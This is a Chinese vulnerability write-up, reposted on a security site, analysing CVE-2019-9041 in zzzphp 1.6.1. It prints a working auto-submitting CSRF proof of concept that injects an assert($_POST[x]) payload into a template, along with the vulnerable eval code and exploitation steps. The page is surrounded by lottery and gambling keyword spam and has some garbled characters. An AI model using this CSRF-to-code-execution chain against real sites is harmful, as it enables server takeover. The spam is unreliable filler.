手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中

CVE-2019-9041: 从CSRF到Getshell漏洞分析

来源:本站整理 作者:佚名 时间:2019-07-08 TAG: 我要投稿

无意中看到vulnhub新放了一个Csrf大礼包,集合多个最新的csrf to getshell的cve!所以拿这个系统做一个系列关于Csrf的代码审计之路!今天的cms是zzzphp,漏洞并不是特别复杂,算是开个头吧!
正文
审计的zzzphp系统版本为V1.6.1,首先是一个csrf漏洞,这个漏洞原因在于整个后台没有csrf token保护,导致存在csrf漏洞,所以可以伪造客户端请求!再配合CVE-2019-9041即可getshell!
首先我们使用Burp Suite生成一个CSRF POC!

这个不能直接用,修改如下:
html>    body>  script>history.pushState('', '', '/')script>​    form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">​      input type="hidden" name="file" value="/zzzphp/template/pc/cn2016/html/search.html" />​      input type="hidden" name="filetext" value="{if:assert($_POST[x])}phpinfo();{end if}" />​      input type="submit" value="Submit request" />​    form>​    script>​      document.forms[0].submit();​    script>​  body>​html>
其中生效的payload为html编码的{if:assert($_POST[x])}phpinfo();{end if}。我?#21069;?#36825;个poc保存为html文件,在管理员登陆的状态下,诱导管理员点击包含poc的链接,即可在search.html模版中插入恶意代码!

接下分析造成动态代码执行的代码!
首先在在/search/index.php中

跟进zzz_client.php
在第136行至140行,是?#38405;?#26495;解析的代码

我们跟进ParserTemplate()类,发现发现这个类主要作用是解析全局公共标签,经过审计发现危险函数parserIfLabel,parserIfLabel这个函数进行正则匹配,然后把匹配到的语句做替换,最后ifstr的值为a-ssert($_POST[x]最后拼接到eva1的$ifstr函数执行,程序本身没有在这里做过滤一些危险的函数,导致任意代码执行。
publicfunction parserIfLabel( $zcontent ) {   $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';   if ( preg_match_all( $pattern, $zcontent, $matches ) ) {      $count = count( $matches[ 0 ] );      for ( $i = 0; $i  $count; $i++ ) {         $flag = '';         $out_html = '';         $ifstr = $matches[ 1 ][ $i ];         $ifstr = str_replace( '', '!=', $ifstr );         $ifstr = str_replace( 'mod', '%', $ifstr );         $ifstr1 = cleft( $ifstr, 0, 1 );         switch ( $ifstr1 ) {            case '=':               $ifstr = '0' . $ifstr;               break;            case '{':            case '[':               $ifstr = "'" . str_replace( "=", "'=", $ifstr );               break;         }         $ifstr = str_replace( '=', '==', $ifstr );         $ifstr = str_replace( '===', '==', $ifstr );         @eva1( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
我们最终只要控制$ifstr,所以借助前面的csrf漏洞我们可以在管理员登陆的状态下,诱导管理员进行编辑模板操作!
利用过程
csrf诱导管理员点击链接
管理员点击后操作为后台的模版管理 -> 电?#38405;?#29256; -> cn2016(6) -> html -> search.html 编辑
在模版中添加{if:assert($_POST[x])}xxx;{end if} 保存
访问 http://webroot/search/
代码执行
首先我们尝试执行phpinfo()

[1] [2]  下一页

【声明】:黑吧安全网(http://www.rliwo.live)登载此文出于传递更多信息之目的,并不代表本站赞同其观点?#25237;?#20854;真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱[email protected],我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载
        购买彩票权威网址
        手机上怎么买彩票双色球 微信上有人推荐买彩票 能合买彩票的平台 夫妻买彩票狂中30亿 买彩票心态 买彩票就买大乐透开奖结果 哪个平台买彩票安全吗 买彩票有买一个号的吗 怎么看走势图买彩票 如何在电脑上买彩票 美国几岁可以买彩票? 福彩工作人员买彩票 彩客网买彩票 能在微信上买彩票吗 怎么买彩票容易中
        MGS电子21点矿坑游艺怎么玩 nba东部决赛热火vs步行者 三剑客官网 湖南彩票开奖结果查询 天天炫斗哪个职业厉害 福彩老时时彩在哪查 诙谐财富游戏 炉石传说乱斗两张牌 明日之后华为版和网易版 熊之舞官网